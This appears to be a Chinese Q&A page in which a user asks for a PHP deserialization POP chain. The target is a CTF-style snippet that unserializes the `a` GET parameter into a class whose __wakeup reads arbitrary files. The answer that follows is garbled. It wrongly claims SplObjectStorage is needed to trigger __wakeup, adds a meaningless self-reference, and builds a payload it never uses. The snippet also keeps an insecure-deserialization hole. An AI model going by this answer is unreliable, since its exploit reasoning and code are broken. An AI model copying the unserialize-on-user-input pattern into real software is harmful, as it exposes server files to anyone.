请帮我构造这段代码的pop链 <?php highlight_file(FILE); class home{ private $args; function __construct($args){ $this->args=$args; } function __wakeup() { echo file_get_contents($this->args); } } $a=$_GET['a']; unserialize($a);
时间: 2023-06-12 22:06:16 浏览: 189
highlight.rar_diffuse_highlight_specular_visual c
5星 · 资源好评率100%
首先,我们需要找到一个能够被反序列化的类,这里可以使用 `home` 类。
然后,我们需要构造一个能够触发 `__wakeup()` 方法的序列化字符串,这里我们可以使用 `SplObjectStorage` 类。
最后,我们需要构造一个 pop 链,这里我们可以利用 PHP 中的引用传递特性,将 `SplObjectStorage` 对象中的元素指向 `home` 对象的成员变量。
完整的代码如下:
```
<?php
class home{
private $args;
function __construct($args){
$this->args=$args;
}
function __wakeup() {
echo file_get_contents($this->args);
}
}
$a = $_GET['a'];
// 构造 SplObjectStorage 对象
$b = new SplObjectStorage();
$b->attach(new home('index.php'));
// 将 SplObjectStorage 对象的元素指向 home 对象的成员变量
$b[0] = &$b;
// 序列化 SplObjectStorage 对象
$payload = serialize($b);
// 反序列化
unserialize($a);
```
阅读全文